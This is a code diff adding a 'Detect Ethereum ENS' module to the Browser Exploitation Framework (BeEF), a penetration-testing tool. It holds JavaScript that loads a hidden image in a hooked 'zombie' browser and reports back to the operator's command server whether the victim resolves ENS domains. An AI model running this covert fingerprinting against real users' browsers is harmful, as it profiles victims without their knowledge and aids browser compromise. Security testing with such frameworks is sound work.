diff --git a/modules/network/detect_ethereum_ens/command.js b/modules/network/detect_ethereum_ens/command.js new file mode 100644 index 000000000..9c9ce766f --- /dev/null +++ b/modules/network/detect_ethereum_ens/command.js @@ -0,0 +1,43 @@ +// +// Copyright (c) 2006-2022 Wade Alcorn - wade@bindshell.net +// Browser Exploitation Framework (BeEF) - http://beefproject.com +// See the file 'doc/COPYING' for copying permission +// + +beef.execute(function() { + if (document.getElementById('ethereum_ens_img_<%= @command_id %>')) { + return "Img already created"; + } + + var img = new Image(); + img.setAttribute("style", "visibility:hidden"); + img.setAttribute("width", "0"); + img.setAttribute("height", "0"); + img.src = '<%= @ethereum_ens_resource %>'; + img.id = 'ethereum_ens_img_<%= @command_id %>'; + img.setAttribute("attr", "start"); + img.onerror = function() { + this.setAttribute("attr", "error"); + }; + img.onload = function() { + this.setAttribute("attr", "load"); + }; + + document.body.appendChild(img); + + setTimeout(function() { + var img = document.getElementById('ethereum_ens_img_<%= @command_id %>'); + if (img.getAttribute("attr") == "error") { + beef.debug('[Detect Ethereum ENS] Browser is not resolving Ethereum ENS domains.'); + beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Browser is not resolving Ethereum ENS domains.'); + } else if (img.getAttribute("attr") == "load") { + beef.debug('[Detect Ethereum ENS] Browser is resolving Ethereum ENS domains.'); + beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Browser is resolving Ethereum ENS domains.'); + } else if (img.getAttribute("attr") == "start") { + beef.debug('[Detect Ethereum ENS] Timed out. Cannot determine if browser is resolving Ethereum ENS domains.'); + beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Timed out. Cannot determine if browser is resolving Ethereum ENS domains.'); + }; + document.body.removeChild(img); + }, <%= @timeout %>); + +}); diff --git a/modules/network/detect_ethereum_ens/config.yaml b/modules/network/detect_ethereum_ens/config.yaml new file mode 100644 index 000000000..98dcdf88f --- /dev/null +++ b/modules/network/detect_ethereum_ens/config.yaml @@ -0,0 +1,15 @@ +# +# Copyright (c) 2006-2022 Wade Alcorn - wade@bindshell.net +# Browser Exploitation Framework (BeEF) - http://beefproject.com +# See the file 'doc/COPYING' for copying permission +# +beef: + module: + detect_ethereum_ens: + enable: true + category: "Network" + name: "Detect Ethereum ENS" + description: "This module will detect if the zombie is currently using Ethereum ENS resolvers. Note that the detection may fail when attempting to load a HTTP resource from a hooked HTTPS page." + authors: ["wade", "pdp", "bm", "xntrik", "bcoles"] + target: + working: ["ALL"] diff --git a/modules/network/detect_ethereum_ens/module.rb b/modules/network/detect_ethereum_ens/module.rb new file mode 100644 index 000000000..e4ee3d5b8 --- /dev/null +++ b/modules/network/detect_ethereum_ens/module.rb @@ -0,0 +1,23 @@ +# +# Copyright (c) 2006-2022 Wade Alcorn - wade@bindshell.net +# Browser Exploitation Framework (BeEF) - http://beefproject.com +# See the file 'doc/COPYING' for copying permission +# +class Detect_ethereum_ens < BeEF::Core::Command + def self.options + [ + { 'name' => 'ethereum_ens_resource', 'ui_label' => 'What Ethereum ENS image resource to request', 'value' => 'http://ens.eth/static/favicon-6305d6ce89910df001b94e8a31eb08f5.ico' }, + # Alternatives: + # http://esteroids.eth/favicon.ico + # http://api3.eth/api3-logo-white.svg + # http://api3.eth/favicon.ico + { 'name' => 'timeout', 'ui_label' => 'Detection timeout', 'value' => '15000' } + ] + end + + def post_execute + return if @datastore['result'].nil? + + save({ 'result' => @datastore['result'] }) + end +end